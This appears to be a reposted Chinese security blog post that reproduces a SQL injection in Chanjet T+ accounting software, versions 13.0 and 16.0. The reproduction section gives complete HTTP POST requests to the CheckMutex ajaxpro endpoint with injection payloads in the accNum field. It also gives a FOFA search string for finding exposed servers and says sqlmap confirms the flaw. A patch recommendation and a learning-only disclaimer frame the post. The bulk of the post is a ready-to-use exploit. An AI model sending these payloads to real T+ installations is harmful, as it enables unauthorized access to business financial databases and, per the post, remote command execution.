畅捷通T+SQL注入漏洞

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、 产品简介

​ 畅捷通 T+ 是一款基于互联网的新型企业管理软件,功能模块包括:财务管理、采购管理、库存管理等。主要针对中小型工贸和商贸企业的财务业务一体化应用,融入了社交化、移动化、物联网、电子商务、互联网信息订阅等元素。

二、 漏洞概述

畅捷通T+的某后台功能点只校验了权限,未对用户的输入进行过滤,导致在权限绕过后存在SQL注入漏洞,利用此漏洞攻击者最终可以实现远程命令执行。

三、 影响范围

畅捷通T+ 13.0

畅捷通T+ 16.0

四、 复现环境

FOFA:app=“畅捷通-TPlus”

在这里插入图片描述

五、 漏洞复现

PoC

POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0

{
    
    "accNum": "3'", "functionTag": "SYS0104", "url": ""}

在这里插入图片描述
可以发现accNum参数处加单引号会出现数据库报错,出现这种情况,一般存在SQL注入。

构造布尔盲注payload

POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0

{
    
    "accNum": "3' AND 5227 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (5227=5227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(120)+CHAR(113)))-- NCab", "functionTag": "SYS0104", "url": ""}

这里编写了一个带有子查询的sql语句,通过判断5227是否等于5227,来构造一个布尔查询,如果返回真,则执行SELECT CHAR(49),即返回字符1,否则返回字符0。

PS:CHAR()里面的十进制数字对应着ASCII表里面的字符串
在这里插入图片描述
在这里插入图片描述
可以看到返回了“1” ,漏洞存在

使用sqlmap验证

在这里插入图片描述

六、 修复建议

目前官方已发布补丁更新,建议受影响用户尽快安装。

猜你喜欢

转载自blog.csdn.net/holyxp/article/details/131955093